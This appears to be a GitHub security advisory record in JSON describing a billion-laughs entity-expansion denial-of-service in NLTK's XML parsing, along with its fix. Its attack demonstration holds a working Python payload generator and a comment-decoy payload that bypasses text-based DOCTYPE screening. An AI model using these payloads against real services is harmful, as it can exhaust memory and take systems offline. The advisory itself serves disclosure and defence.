CVE-2026-78681: NLTK Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-97qj-x29f-37w7",
  "modified" : "2026-09-08T16:42:18Z",
  "published" : "2026-09-08T16:42:18Z",
  "aliases" : [ "CVE-2026-78681" ],
  "summary" : "NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses",
  "details" : "Several XML parsing sites in NLTK still used `xml.etree.ElementTree` directly, which honours `<!ENTITY>` declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.\n\nAffected call sites (<= 3.10.2):\n- `nltk.chunk.named_entity.load_ace_file` — parses ACE annotation XML\n- `nltk.internals.ElementWrapper` — converts any given string to an Element\n- `nltk.downloader` — `Package.fromxml`, `Collection.fromxml`, `_find_collections`, `_find_packages`\n\nlibexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.\n\nThis completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new `nltk.xmlsec` module that refuses entity declarations, preferring `defusedxml` and falling back to a standard-library `xml.parsers.expat` pre-scan when defusedxml is absent.\n\n---\n\n## Attack demonstration\n\nReproducible PoC against a real affected entry point (`nltk.internals.ElementWrapper`). Every number below is captured output, not illustrative.\n\n### 1. The amplification (vulnerable path: raw `xml.etree.ElementTree`)\n\nA payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:\n\n| levels | input bytes | expanded bytes | factor |\n|--------|-------------|----------------|--------|\n| 3 | 218 | 10,000 | x45 |\n| 4 | 274 | 100,000 | x364 |\n| 5 | 330 | 1,000,000 | x3,030 |\n| 6 | 386 | (libexpat 2.7.1 cap trips) | - |\n\nThe level-6 cap is **libexpat's**, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.\n\n```python\nimport xml.etree.ElementTree as ET\ndef bomb(levels):\n    d = \"\\n\".join(f'<!ENTITY e{i} \"{(\"&e%d;\"%(i-1))*10}\">' for i in range(1, levels+1))\n    return f'<!DOCTYPE d [<!ENTITY e0 \"AAAAAAAAAA\">{d}]><d>&e{levels};</d>'\nET.fromstring(bomb(5))   # -> element whose .text is 1,000,000 chars\n```\n\n### 2. The patched entry point rejects it\n\n```\n>>> from nltk.internals import ElementWrapper\n>>> ElementWrapper(bomb(5))\nEntitiesForbidden: EntitiesForbidden(name='e0', ...)\n```\n\n### 3. Why a text-based screen is not enough\n\nAn entity declaration can hide behind a decoy `<!DOCTYPE>` in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:\n\n```python\nevil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a \"PPPP...\">]><d>&a;</d>'\n```\n\n```\nraw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -> REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -> REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -> REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-78681"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/releases/tag/v3.10.3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-776" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T16:42:18Z",
    "nvd_published_at" : null
  }
}